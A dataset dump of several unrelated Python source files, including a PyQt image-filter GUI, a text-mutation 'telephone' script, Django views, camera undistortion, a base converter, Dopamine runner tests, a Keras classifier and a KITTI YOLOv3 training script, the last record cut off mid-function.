shell=True) \n else:\n self.entrada = 'imagens/arquivo_novo.jpg'\n self.saida = 'imagens/arquivo_novo1.jpg'\n self.script = '.\\girar.py'\n self.program = 'python '+ self.script + ' \\\"' + self.entrada + '\\\" ' + self.saida\n subprocess.run(self.program, shell=True)\n \n self.valor = True \n\n self.endereco2 = self.saida\n self.pixmap2 = QtGui.QPixmap(self.endereco2)\n self.pixmap2 = self.pixmap2.scaled(250, 250, QtCore.Qt.KeepAspectRatio)\n self.imagem2.setPixmap(self.pixmap2)\n\n def espelhar (self):\n if (self.valor == False):\n self.entrada = self.endereco1\n self.saida = 'imagens/arquivo_novo.jpg'\n self.script = '.\\espelhar.py'\n self.program = 'python '+ self.script + ' \\\"' + self.entrada + '\\\" ' + self.saida\n subprocess.run(self.program, shell=True) \n else:\n self.entrada = 'imagens/arquivo_novo.jpg'\n self.saida = 'imagens/arquivo_novo1.jpg'\n self.script = '.\\espelhar.py'\n self.program = 'python '+ self.script + ' \\\"' + self.entrada + '\\\" ' + self.saida\n subprocess.run(self.program, shell=True)\n \n self.valor = True \n\n self.endereco2 = self.saida\n self.pixmap2 = QtGui.QPixmap(self.endereco2)\n self.pixmap2 = self.pixmap2.scaled(250, 250, QtCore.Qt.KeepAspectRatio)\n self.imagem2.setPixmap(self.pixmap2)\n\n def add_esteganografia(self):\n return print(1)\n\n def changeValue(self, value = \"\"):\n self.entrada = self.endereco1\n self.saida = 'imagens/arquivo_novo.png'\n self.script = '.\\efeito_transparencia.py'\n self.program = 'python '+ self.script + ' \\\"' + self.entrada + '\\\" ' + self.saida + ' \\\"' + str(value) \n subprocess.run(self.program, shell=True)\n \n self.endereco2 = self.saida\n self.pixmap2 = QtGui.QPixmap(self.endereco2)\n self.pixmap2 = self.pixmap2.scaled(250, 250, QtCore.Qt.KeepAspectRatio)\n self.imagem2.setPixmap(self.pixmap2) \n\n\n def transform_me_countour(self):\n self.entrada = self.endereco1\n self.saida = 'imagens/arquivo_novo.jpg'\n self.script = '.\\efeito_countour.py'\n self.program = 'python '+ self.script + ' \\\"' + self.entrada + '\\\" ' + self.saida\n subprocess.run(self.program, shell=True)\n\n self.endereco2 = self.saida\n self.pixmap2 = QtGui.QPixmap(self.endereco2)\n self.pixmap2 = self.pixmap2.scaled(250, 250, QtCore.Qt.KeepAspectRatio)\n self.imagem2.setPixmap(self.pixmap2)\n\n def transform_me_emboss(self):\n self.entrada = self.endereco1\n self.saida = 'imagens/arquivo_novo.jpg'\n self.script = '.\\efeito_emboss.py'\n self.program = 'python '+ self.script + ' \\\"' + self.entrada + '\\\" ' + self.saida\n subprocess.run(self.program, shell=True)\n\n self.endereco2 = self.saida\n self.pixmap2 = QtGui.QPixmap(self.endereco2)\n self.pixmap2 = self.pixmap2.scaled(250, 250, QtCore.Qt.KeepAspectRatio)\n self.imagem2.setPixmap(self.pixmap2) \n \n def transform_me_findEdges(self):\n self.entrada = self.endereco1\n self.saida = 'imagens/arquivo_novo.jpg'\n self.script = '.\\efeito_find_edges.py'\n self.program = 'python '+ self.script + ' \\\"' + self.entrada + '\\\" ' + self.saida\n subprocess.run(self.program, shell=True)\n\n self.endereco2 = self.saida\n self.pixmap2 = QtGui.QPixmap(self.endereco2)\n self.pixmap2 = self.pixmap2.scaled(250, 250, QtCore.Qt.KeepAspectRatio)\n self.imagem2.setPixmap(self.pixmap2)\n \ndef window():\n app = QApplication(sys.argv)\n win = MyWindow()\n win.show()\n sys.exit(app.exec_())\n\nwindow()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"628733502","text":"#!/usr/bin/env python3\n\"\"\"\nAuthor : NowHappy \nDate : 2021-10-09\nPurpose: Telephone\n\"\"\"\n\nimport argparse\nimport random\nimport os\nimport string\n\n# --------------------------------------------------\ndef get_args():\n \"\"\"Get command-line arguments\"\"\"\n\n parser = argparse.ArgumentParser(\n description='Telephone',\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n parser.add_argument('text',\n metavar='text',\n help='Input text of file')\n\n parser.add_argument('-s',\n '--seed',\n help='Random seed',\n metavar='seed',\n type=int,\n default=None)\n\n parser.add_argument('-m',\n '--mutations',\n help='Percent mutations',\n metavar='mutations',\n type=float,\n default=0.1)\n\n args = parser.parse_args()\n\n if args.mutations > 1 or args.mutations < 0:\n parser.error(f'--mutations \"{args.mutations}\" must be between 0 and 1')\n\n return args\n\n\n# --------------------------------------------------\ndef main():\n \"\"\"Make a jazz noise here\"\"\"\n\n args = get_args()\n text = args.text\n mutations = args.mutations\n random.seed(args.seed)\n alpha = ''.join(sorted(string.ascii_letters + string.punctuation))\n\n new_text_line = []\n if os.path.isfile(text):\n print('You said: ', end='')\n for line in open(text, 'rt'):\n new_text_line = list(line.rstrip())\n print(f'\"{line.rstrip()}\"')\n len_text = len(line.rstrip())\n num_mutations = round(len_text * mutations)\n for i in random.sample(range(len_text), num_mutations):\n # print(f'i = {i}, char = {line[i]}, index = {alpha.find(line[i])}')\n # list.index 함수로 색인 위치 찾으면 없을때 error 발생. 있는지 확인하고 쓰던가 아니면 find 함수 쓸 것!!\n # find 반환값 : 색인 위치. 찾을 수 없는 경우 -1 반환\n new_text_line[i] = random.choice(alpha.replace(line[i], '')) # replace 함수는 line[i] 에 해당하는 문자가 alpha에 '있으면' 해당 문자를 치환한다. 없어도 error 안 남.\n print(f'I heard : \"' + ''.join(new_text_line)+ '\"')\n else:\n print(f'You said: \"{text}\"')\n new_text_line = list(text)\n len_text = len(text)\n num_mutations = round(len_text * mutations)\n for i in random.sample(range(len_text), num_mutations):\n new_text_line[i] = random.choice(alpha.replace(text[i], ''))\n print(f'I heard : \"' + ''.join(new_text_line)+ '\"')\n\n\n# --------------------------------------------------\nif __name__ == '__main__':\n main()\n","sub_path":"10_telephone/telephone.py","file_name":"telephone.py","file_ext":"py","file_size_in_byte":2868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"272371815","text":"from django.shortcuts import render, redirect\nfrom .models import Bureau, DBTable\nimport bs4\nfrom bs4 import BeautifulSoup as soup\nfrom urllib.request import urlopen\n\n# Create your views here.\ndef index(request):\n news_url=\"https://news.google.com/news/rss\"\n Client=urlopen(news_url)\n xml_page=Client.read()\n Client.close()\n\n soup_page=soup(xml_page,\"xml\")\n news=soup_page.findAll(\"item\")\n print(news[0].title.text)\n\n latest = [news[0], news[1], news[2], news[3], news[4]]\n\n bureaus = Bureau.objects.all()\n\n return render(request, \"index.html\", {'bureaus': bureaus, 'latest': latest})\n\ndef new(request):\n if request.method == \"POST\":\n x = request.POST.get(\"pname\")\n l = x.split('~,')\n print(l)\n DBTable.objects.create(crime_name = l[0], date_reported = l[9], Time_reported = l[10], name_reporter = l[1], address_reporter = l[4], date_crime = l[5], time_crime = l[6], place_offence = l[7], description = l[8], email_reporter = l[3], phone_reporter = l[2])\n p = DBTable.objects.latest('id')\n return render(request, 'submit.html', {'p': p})\n else:\n return render(request, 'new.html')\n\ndef services(request):\n return render(request, 'index.html')\n\ndef submit(request):\n return render(request, 'submit.html')\n\n","sub_path":"travello/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"48283611","text":"import numpy as np\r\nimport os\r\nimport cv2\r\nimport glob\r\nimport tkinter as tk\r\nfrom tkinter import filedialog\r\n\r\n\r\ndef image_correction():\r\n print('image correction processing, please choose the folder of images')\r\n root = tk.Tk()\r\n root.withdraw()\r\n filename = filedialog.askdirectory()\r\n\r\n images = glob.glob(filename + '/*.JPG')\r\n if len(images) == 0:\r\n print('the folder is empty')\r\n return None\r\n h, w = cv2.imread(images[0]).shape[:2]\r\n print(h, w)\r\n # create a folder to put corrected image\r\n newfolder = 'corrected_images_to_stitch'\r\n if not os.path.exists(newfolder):\r\n os.makedirs(newfolder)\r\n\r\n # get camera matrix and distortion coefs\r\n print('please load the camera matrix file')\r\n root = tk.Tk()\r\n root.withdraw()\r\n csvname1 = filedialog.askopenfilename()\r\n camera_matrix = np.loadtxt(csvname1, delimiter=',')\r\n\r\n print('please load the dist coef file')\r\n root = tk.Tk()\r\n root.withdraw()\r\n csvname2 = filedialog.askopenfilename()\r\n dist_coef = np.loadtxt(csvname2, delimiter=',')\r\n\r\n i = 1\r\n for fname in images:\r\n img = cv2.imread(fname)\r\n print('load image \\n', fname)\r\n # img = cv2.resize(img_temp, (int(h / 8), int(w / 8)), interpolation=cv2.INTER_AREA)\r\n dst = cv2.undistort(img, cameraMatrix=camera_matrix, distCoeffs=dist_coef)\r\n cv2.imwrite((newfolder + '/%03d' % i+'.png'), dst)\r\n i = i + 1\r\n","sub_path":"image_correction.py","file_name":"image_correction.py","file_ext":"py","file_size_in_byte":1450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"236361514","text":"'''\nEscreva um programa que leia um numero inteiro qualquer e peça para o usuário escolher qual será a base de conversão:\n\n- 1 para binário\n- 2 para octal\n- 3 para hexadecimal\n'''\n\n\ndef main():\n if escolha == 1:\n print(bin(num))\n elif escolha == 2:\n print(oct(num))\n elif escolha == 3:\n print(hex(num))\n else:\n print('\\033[31m' + 'Escolha uma opção válida' + '\\033[0;0m')\n\n\nwhile True:\n\n num = int(input('\\n\\nDigite um numero qualquer : '))\n if num == 0:\n exit()\n print(\n 'Digite 1 para converter para binário \\nDigite 2 para converter para Octal \\nDigite 3 para converter para hexadecimal\\n')\n escolha = int(input('Selecione uma opção : \\nAperte 0 para sair !'))\n main()\n if escolha == 0 or num == 0:\n exit()","sub_path":"ex037.py","file_name":"ex037.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"559812515","text":"# coding=utf-8\n# Copyright 2018 The Dopamine Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Tests for dopamine.atari.run_experiment.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport shutil\n\n\n\nfrom absl import flags\n\nimport dopamine.atari.runner\nfrom dopamine.atari import run_experiment\nfrom dopamine.common import checkpointer\nfrom dopamine.common import logger\nimport mock\nimport tensorflow as tf\n\nimport gin.tf\n\nFLAGS = flags.FLAGS\n\n\ndef _create_mock_checkpointer():\n mock_checkpointer = mock.Mock()\n test_dictionary = {'current_iteration': 1729,\n 'logs': 'logs'}\n mock_checkpointer.load_checkpoint.return_value = test_dictionary\n return mock_checkpointer\n\n\nclass MockEnvironment(object):\n \"\"\"Mock environment for testing.\"\"\"\n\n def __init__(self, max_steps=10):\n self._observation = 0\n self.max_steps = max_steps\n self.game_over = False\n\n def reset(self):\n self._observation = 0\n return self._observation\n\n def step(self, action):\n self._observation += 1\n reward_multiplier = -1 if action > 0 else 1\n reward = self._observation * reward_multiplier\n is_terminal = self._observation >= self.max_steps\n self.game_over = is_terminal\n\n unused = 0\n return (self._observation, reward, is_terminal, unused)\n\n def render(self, mode):\n pass\n\n\nclass MockLogger(object):\n \"\"\"Class to mock the experiment logger.\"\"\"\n\n def __init__(self, test_cls=None, run_asserts=True, data=None):\n self._test_cls = test_cls\n self._run_asserts = run_asserts\n self._iter = 0\n self._calls_to_set = 0\n self._calls_to_log = 0\n self.data = data\n\n def __setitem__(self, key, val):\n if self._run_asserts:\n self._test_cls.assertEqual('iteration_{:d}'.format(self._iter), key)\n self._test_cls.assertEqual('statistics', val)\n self._iter += 1\n self._calls_to_set += 1\n\n def log_to_file(self, filename_prefix, iteration_number):\n if self._run_asserts:\n self._test_cls.assertEqual(\n 'prefix_{}'.format(self._iter - 1),\n '{}_{}'.format(filename_prefix, iteration_number))\n self._calls_to_log += 1\n\n\nclass RunExperimentTest(tf.test.TestCase):\n\n @mock.patch.object(gin, 'parse_config_files_and_bindings')\n def testLoadGinConfigs(self, mock_parse_config_files_and_bindings):\n gin_files = ['file1', 'file2', 'file3']\n gin_bindings = ['binding1', 'binding2']\n run_experiment.load_gin_configs(gin_files, gin_bindings)\n self.assertEqual(1, mock_parse_config_files_and_bindings.call_count)\n mock_args, mock_kwargs = mock_parse_config_files_and_bindings.call_args\n self.assertEqual(gin_files, mock_args[0])\n self.assertEqual(gin_bindings, mock_kwargs['bindings'])\n self.assertFalse(mock_kwargs['skip_unknown'])\n\n\n\nclass RunnerTest(tf.test.TestCase):\n\n def _agent_step(self, reward, observation):\n # We verify that rewards are clipped (and set by MockEnvironment as a\n # function of observation)\n expected_reward = 1 if observation % 2 else -1\n self.assertEqual(expected_reward, reward)\n return observation % 2\n\n def setUp(self):\n super(RunnerTest, self).setUp()\n self._agent = mock.Mock()\n self._agent._begin_episode.side_effect = lambda x: 0\n self._agent._step.side_effect = self._agent_step\n self._create_agent_fn = lambda x, y, summary_writer: self._agent\n self._test_subdir = '/tmp/dopamine_tests'\n shutil.rmtree(self._test_subdir, ignore_errors=True)\n os.makedirs(self._test_subdir)\n\n def testFailsWithoutGameName(self):\n with self.assertRaises(AssertionError):\n dopamine.atari.runner.Runner(self._test_subdir, self._create_agent_fn)\n\n @mock.patch.object(checkpointer, 'get_latest_checkpoint_number')\n def testInitializeCheckpointingWithNoCheckpointFile(self, mock_get_latest):\n mock_get_latest.return_value = -1\n base_dir = '/does/not/exist'\n with self.assertRaisesRegexp(tf.errors.PermissionDeniedError,\n '.*/does.*'):\n dopamine.atari.runner.Runner(base_dir, self._create_agent_fn,\n game_name='Pong')\n\n @mock.patch.object(checkpointer, 'get_latest_checkpoint_number')\n @mock.patch.object(checkpointer, 'Checkpointer')\n @mock.patch.object(logger, 'Logger')\n def testInitializeCheckpointingWhenCheckpointUnbundleFails(\n self, mock_logger_constructor, mock_checkpointer_constructor,\n mock_get_latest):\n mock_checkpointer = _create_mock_checkpointer()\n mock_checkpointer_constructor.return_value = mock_checkpointer\n latest_checkpoint = 7\n mock_get_latest.return_value = latest_checkpoint\n agent = mock.Mock()\n agent.unbundle.return_value = False\n mock_logger = mock.Mock()\n mock_logger_constructor.return_value = mock_logger\n runner = dopamine.atari.runner.Runner(self._test_subdir,\n lambda x, y, summary_writer: agent,\n create_environment_fn=lambda x, y: x,\n game_name='Test')\n self.assertEqual(0, runner._start_iteration)\n self.assertEqual(1, mock_checkpointer.load_checkpoint.call_count)\n self.assertEqual(1, agent.unbundle.call_count)\n mock_args, _ = agent.unbundle.call_args\n self.assertEqual('{}/checkpoints'.format(self._test_subdir), mock_args[0])\n self.assertEqual(latest_checkpoint, mock_args[1])\n expected_dictionary = {'current_iteration': 1729,\n 'logs': 'logs'}\n self.assertDictEqual(expected_dictionary, mock_args[2])\n\n @mock.patch.object(checkpointer, 'get_latest_checkpoint_number')\n def testInitializeCheckpointingWhenCheckpointUnbundleSucceeds(\n self, mock_get_latest):\n latest_checkpoint = 7\n mock_get_latest.return_value = latest_checkpoint\n logs_data = {'a': 1, 'b': 2}\n current_iteration = 1729\n checkpoint_data = {'current_iteration': current_iteration,\n 'logs': logs_data}\n checkpoint_dir = os.path.join(self._test_subdir, 'checkpoints')\n checkpoint = checkpointer.Checkpointer(checkpoint_dir, 'ckpt')\n checkpoint.save_checkpoint(latest_checkpoint, checkpoint_data)\n mock_agent = mock.Mock()\n mock_agent.unbundle.return_value = True\n runner = dopamine.atari.runner.Runner(self._test_subdir,\n lambda x, y, summary_writer: mock_agent,\n game_name='Pong')\n expected_iteration = current_iteration + 1\n self.assertEqual(expected_iteration, runner._start_iteration)\n self.assertDictEqual(logs_data, runner._logger.data)\n mock_agent.unbundle.assert_called_once_with(\n checkpoint_dir, latest_checkpoint, checkpoint_data)\n\n def testRunOneEpisode(self):\n max_steps_per_episode = 11\n environment = MockEnvironment()\n runner = dopamine.atari.runner.Runner(\n self._test_subdir, self._create_agent_fn, game_name='Test',\n create_environment_fn=lambda x, y: environment,\n max_steps_per_episode=max_steps_per_episode)\n step_number, total_reward = runner._run_one_episode()\n self.assertEqual(self._agent._step.call_count, environment.max_steps - 1)\n self.assertEqual(self._agent._end_episode.call_count, 1)\n self.assertEqual(environment.max_steps, step_number)\n # Expected reward will be \\sum_{i=0}^{9} (-1)**i * i = -5\n self.assertEqual(-5, total_reward)\n\n def testRunOneEpisodeWithLowMaxSteps(self):\n max_steps_per_episode = 2\n environment = MockEnvironment()\n runner = dopamine.atari.runner.Runner(\n self._test_subdir, self._create_agent_fn, game_name='Test',\n create_environment_fn=lambda x, y: environment,\n max_steps_per_episode=max_steps_per_episode)\n step_number, total_reward = runner._run_one_episode()\n self.assertEqual(self._agent._step.call_count, max_steps_per_episode - 1)\n self.assertEqual(self._agent._end_episode.call_count, 1)\n self.assertEqual(max_steps_per_episode, step_number)\n self.assertEqual(-1, total_reward)\n\n def testRunOnePhase(self):\n max_steps = 10\n environment_steps = 2\n environment = MockEnvironment(max_steps=environment_steps)\n statistics = []\n runner = dopamine.atari.runner.Runner(\n self._test_subdir, self._create_agent_fn, game_name='Test',\n create_environment_fn=lambda x, y: environment)\n step_number, sum_returns, num_episodes = runner._run_one_phase(\n max_steps, statistics, 'test')\n calls_to_run_episode = int(max_steps / environment_steps)\n self.assertEqual(self._agent._step.call_count, calls_to_run_episode)\n self.assertEqual(self._agent._end_episode.call_count, calls_to_run_episode)\n self.assertEqual(max_steps, step_number)\n self.assertEqual(-1 * calls_to_run_episode, sum_returns)\n self.assertEqual(calls_to_run_episode, num_episodes)\n expected_statistics = []\n for _ in range(calls_to_run_episode):\n expected_statistics.append({\n 'test_episode_lengths': 2,\n 'test_episode_returns': -1\n })\n self.assertEqual(len(expected_statistics), len(statistics))\n for i in range(len(statistics)):\n self.assertDictEqual(expected_statistics[i], statistics[i])\n\n def testRunOneIteration(self):\n environment_steps = 2\n environment = MockEnvironment(max_steps=environment_steps)\n training_steps = 20\n evaluation_steps = 10\n runner = dopamine.atari.runner.Runner(\n self._test_subdir, self._create_agent_fn, game_name='Test',\n create_environment_fn=lambda x, y: environment,\n training_steps=training_steps, evaluation_steps=evaluation_steps)\n dictionary = runner._run_one_iteration(1)\n train_calls = int(training_steps / environment_steps)\n eval_calls = int(evaluation_steps / environment_steps)\n expected_dictionary = {\n 'train_episode_lengths': [2 for _ in range(train_calls)],\n 'train_episode_returns': [-1 for _ in range(train_calls)],\n 'train_average_return': [-1],\n 'eval_episode_lengths': [2 for _ in range(eval_calls)],\n 'eval_episode_returns': [-1 for _ in range(eval_calls)],\n 'eval_average_return': [-1]\n }\n self.assertDictEqual(expected_dictionary, dictionary)\n\n @mock.patch.object(logger, 'Logger')\n def testLogExperiment(self, mock_logger_constructor):\n log_every_n = 2\n logging_file_prefix = 'prefix'\n statistics = 'statistics'\n experiment_logger = MockLogger(test_cls=self)\n mock_logger_constructor.return_value = experiment_logger\n runner = dopamine.atari.runner.Runner(\n self._test_subdir, self._create_agent_fn,\n game_name='Test',\n create_environment_fn=lambda x, y: mock.Mock(),\n logging_file_prefix=logging_file_prefix,\n log_every_n=log_every_n)\n num_iterations = 10\n for i in range(num_iterations):\n runner._log_experiment(i, statistics)\n self.assertEqual(num_iterations, experiment_logger._calls_to_set)\n self.assertEqual((num_iterations / log_every_n),\n experiment_logger._calls_to_log)\n\n @mock.patch.object(checkpointer, 'Checkpointer')\n @mock.patch.object(logger, 'Logger')\n def testCheckpointExperiment(self, mock_logger_constructor,\n mock_checkpointer_constructor):\n checkpoint_dir = os.path.join(self._test_subdir, 'checkpoints')\n test_dict = {'test': 1}\n iteration = 1729\n\n def bundle_and_checkpoint(x, y):\n self.assertEqual(checkpoint_dir, x)\n self.assertEqual(iteration, y)\n return test_dict\n\n self._agent.bundle_and_checkpoint.side_effect = bundle_and_checkpoint\n experiment_checkpointer = mock.Mock()\n mock_checkpointer_constructor.return_value = experiment_checkpointer\n logs_data = {'one': 1, 'two': 2}\n mock_logger = MockLogger(run_asserts=False, data=logs_data)\n mock_logger_constructor.return_value = mock_logger\n runner = dopamine.atari.runner.Runner(\n self._test_subdir, self._create_agent_fn,\n game_name='Test',\n create_environment_fn=lambda x, y: mock.Mock())\n runner._checkpoint_experiment(iteration)\n self.assertEqual(1, experiment_checkpointer.save_checkpoint.call_count)\n mock_args, _ = experiment_checkpointer.save_checkpoint.call_args\n self.assertEqual(iteration, mock_args[0])\n test_dict['logs'] = logs_data\n test_dict['current_iteration'] = iteration\n self.assertDictEqual(test_dict, mock_args[1])\n\n @mock.patch.object(checkpointer, 'Checkpointer')\n @mock.patch.object(logger, 'Logger')\n def testRunExperimentWithInconsistentRange(self, mock_logger_constructor,\n mock_checkpointer_constructor):\n experiment_logger = MockLogger()\n mock_logger_constructor.return_value = experiment_logger\n experiment_checkpointer = mock.Mock()\n mock_checkpointer_constructor.return_value = experiment_checkpointer\n runner = dopamine.atari.runner.Runner(\n self._test_subdir, self._create_agent_fn,\n game_name='Test',\n create_environment_fn=lambda x, y: mock.Mock(),\n num_iterations=0)\n runner.run_experiment()\n self.assertEqual(0, experiment_checkpointer.save_checkpoint.call_count)\n self.assertEqual(0, experiment_logger._calls_to_set)\n self.assertEqual(0, experiment_logger._calls_to_log)\n\n @mock.patch.object(checkpointer, 'get_latest_checkpoint_number')\n @mock.patch.object(checkpointer, 'Checkpointer')\n @mock.patch.object(logger, 'Logger')\n def testRunExperiment(self, mock_logger_constructor,\n mock_checkpointer_constructor,\n mock_get_latest):\n log_every_n = 1\n environment = MockEnvironment()\n experiment_logger = MockLogger(run_asserts=False)\n mock_logger_constructor.return_value = experiment_logger\n experiment_checkpointer = mock.Mock()\n start_iteration = 1729\n mock_get_latest.return_value = start_iteration\n def load_checkpoint(_):\n return {'logs': 'log_data', 'current_iteration': start_iteration - 1}\n\n experiment_checkpointer.load_checkpoint.side_effect = load_checkpoint\n mock_checkpointer_constructor.return_value = experiment_checkpointer\n def bundle_and_checkpoint(x, y):\n del x, y # Unused.\n return {'test': 1}\n\n self._agent.bundle_and_checkpoint.side_effect = bundle_and_checkpoint\n num_iterations = 10\n self._agent.unbundle.return_value = True\n end_iteration = start_iteration + num_iterations\n runner = dopamine.atari.runner.Runner(\n self._test_subdir, self._create_agent_fn,\n game_name='Test',\n create_environment_fn=lambda x, y: environment,\n log_every_n=log_every_n,\n num_iterations=end_iteration,\n training_steps=1,\n evaluation_steps=1)\n self.assertEqual(start_iteration, runner._start_iteration)\n runner.run_experiment()\n self.assertEqual(num_iterations,\n experiment_checkpointer.save_checkpoint.call_count)\n self.assertEqual(num_iterations, experiment_logger._calls_to_set)\n self.assertEqual(num_iterations, experiment_logger._calls_to_log)\n glob_string = '{}/events.out.tfevents.*'.format(self._test_subdir)\n self.assertGreater(len(tf.gfile.Glob(glob_string)), 0)\n\n\nif __name__ == '__main__':\n tf.test.main()\n","sub_path":"deps/dopamine/tests/dopamine/atari/run_experiment_test.py","file_name":"run_experiment_test.py","file_ext":"py","file_size_in_byte":15753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"112953679","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon May 20 15:46:33 2019\r\n\r\n@author: andrz\r\n\"\"\"\r\n\r\nimport numpy as np\r\nfrom keras import models\r\nfrom keras import layers\r\nfrom keras import losses\r\nfrom keras import optimizers\r\n\r\n\r\nimport time\r\nstart = time.time()\r\n\r\n#%%\r\ndata_train = np.load('NPZ/train_features_dense.npz')\r\ndata_test = np.load('NPZ/test_features_dense.npz')\r\ndata_val = np.load('NPZ/val_features_dense.npz')\r\n\r\n#%%\r\ntrain_features = data_train['a']\r\ntest_features = data_test['a']\r\nval_features = data_val['a']\r\n\r\ny_train = data_train['b']\r\ny_test = data_test['b']\r\ny_val = data_val['b']\r\n\r\ntrain_features = np.reshape(train_features, (train_features.shape[0], 2*2*1024))\r\ntest_features = np.reshape(test_features, (test_features.shape[0], 2*2*1024))\r\nval_features = np.reshape(val_features, (val_features.shape[0], 2*2*1024))\r\n\r\nmodel = models.Sequential()\r\nmodel.add(layers.Dense(512, activation='sigmoid', input_dim=2*2*1024))\r\nmodel.add(layers.Dropout(0.5))\r\nmodel.add(layers.Dense(2, activation=\"softmax\"))\r\n\r\nmodel.compile(loss=losses.categorical_crossentropy,\r\n optimizer=optimizers.Adamax(),\r\n metrics=['accuracy'])\r\n\r\nhistory = model.fit(train_features, y_train,\r\n batch_size=256,\r\n epochs=30,\r\n verbose=1,\r\n validation_data=(val_features, y_val))\r\n\r\nscore = model.evaluate(test_features, y_test, verbose=0)\r\nprint('Test loss:', score[0])\r\nprint('Test accuracy:', score[1])\r\n\r\n\r\n#%%\r\nend = time.time()\r\nprint(end - start)","sub_path":"dense.py","file_name":"dense.py","file_ext":"py","file_size_in_byte":1504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"547698054","text":"\"\"\"\n\nsource https://github.com/keshik6/KITTI-2d-object-detection\n\n\"\"\"\n\nfrom __future__ import division\n\nimport argparse\nimport csv\nimport os\nimport warnings\n\nimport torch\nfrom torch.utils.data import DataLoader\n\nfrom dataset import KITTI2D\nfrom model import Darknet\nfrom train_model import train_model\n\nwarnings.filterwarnings(\"ignore\")\n\n\ndef main(\n train_path,\n val_path,\n labels_path,\n weights_path,\n preload_weights_file,\n output_path,\n yolo_config_file,\n fraction=1,\n learning_rate=1e-3,\n weight_decay=1e-4,\n batch_size=8,\n epochs=20,\n freeze_struct=[True, 5],\n):\n \"\"\"\n This is the point of entry to the neural network program.\n All the training history will be saved as a csv in the output path\n\n Args\n train_path (string): Directory containing the training images\n val_path (string):: Directory containing the val images\n labels_path (string):: Directory containing the yolo format labels for data\n weights_path (string):: Directory containing the weights (new weights for this program will also be added here)\n preload_weights_file (string): Name of preload weights file\n output_path (string): Directory to store the training history outputs as csv\n yolo_config_file (string): file path of yolo configuration file\n fraction (float): fraction of data to use for training\n learning_rate (float): initial learning rate\n weight_decay (float): weight decay value\n batch_size (int): batch_size for both training and validation\n epochs (int): maximum number of epochs to train the model\n freeze_struct (list): [bool, int] indicating whether to freeze the Darknet backbone and until which epoch should it be frozen\n\n Returns\n None\n\n \"\"\"\n\n # Set up checkpoints path\n checkpoints_path = weights_path\n\n # Set up env variables and create required directories\n os.makedirs(output_path, exist_ok=True)\n os.makedirs(checkpoints_path, exist_ok=True)\n\n # Set up cuda\n use_cuda = torch.cuda.is_available()\n device = torch.device(\"cuda\" if use_cuda else \"cpu\")\n print(\"Available device = \", device)\n\n # Create model and load pretrained darknet weights\n model = Darknet(yolo_config_file)\n print(\"Loading imagenet weights to darknet\")\n model.load_weights(os.path.join(weights_path, preload_weights_file))\n model.to(device)\n # print(model)\n\n # Create datasets\n train_dataset = KITTI2D(train_path, labels_path, fraction=fraction, train=True)\n valid_dataset = KITTI2D(val_path, labels_path, fraction=fraction, train=False)\n\n # Create dataloaders\n train_dataloader = DataLoader(train_dataset, batch_size=batch_size, shuffle=True)\n valid_dataloader = DataLoader(valid_dataset, batch_size=batch_size, shuffle=False)\n\n # Create optimizers\n optimizer = torch.optim.Adam(\n filter(lambda p: p.requires_grad, model.parameters()),\n lr=learning_rate,\n weight_decay=weight_decay,\n )\n lr_scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, 10)\n\n # Create log csv files\n train_log_file = open(\n os.path.join(output_path, \"train_results.csv\"), \"w\", newline=\"\"\n )\n valid_log_file = open(\n os.path.join(output_path, \"valid_results.csv\"), \"w\", newline=\"\"\n )\n train_csv = csv.writer(train_log_file)\n valid_csv = csv.writer(valid_log_file)\n\n print(\"Starting to train yolov3 model...\")\n\n # Train model here\n train_model(\n model,\n device,\n optimizer,\n lr_scheduler,\n train_dataloader,\n valid_dataloader,\n train_csv,\n valid_csv,\n weights_path,\n max_epochs=epochs,\n tensor_type=torch.cuda.FloatTensor,\n update_gradient_samples=1,\n freeze_darknet=freeze_struct[0],\n freeze_epoch=freeze_struct[1],\n )\n\n # Close the log files\n train_log_file.close()\n valid_log_file.close()\n\n print(\"Training completed\")\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"neural network training\")\n\n parser.add_argument(\n \"--train_path\", type=str, metavar=\"PATH\", help=\"path to train images\"\n )\n parser.add_argument(\n \"--val_path\", type=str, metavar=\"PATH\", help=\"path to val images\",\n )\n parser.add_argument(\n \"--labels_path\", type=str, metavar=\"PATH\", help=\"path to yolo labels\"\n )\n parser.add_argument(\n \"--weights_path\",\n type=str,\n metavar=\"PATH\",\n help=\"path to pretrained imeagenet weights\",\n )\n parser.add_argument(\n \"--preload_weights_file\", type=str, help=\"name of pretrained weight file\"\n )\n parser.add_argument(\n \"--output_path\", type=str, metavar=\"PATH\", help=\"path to save output files\"\n )\n parser.add_argument(\n \"--yolo_config_file\", type=str, metavar=\"PATH\", help=\"path to yolo config\"\n )\n args = parser.parse_args()\n args = vars(args)\n main(**args)\n","sub_path":"src/core/object_detection/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"19222665","text":"#!/usr/bin/env python3\n\ndef solve(R, C, W):\n if W == 1:\n return R * C\n return 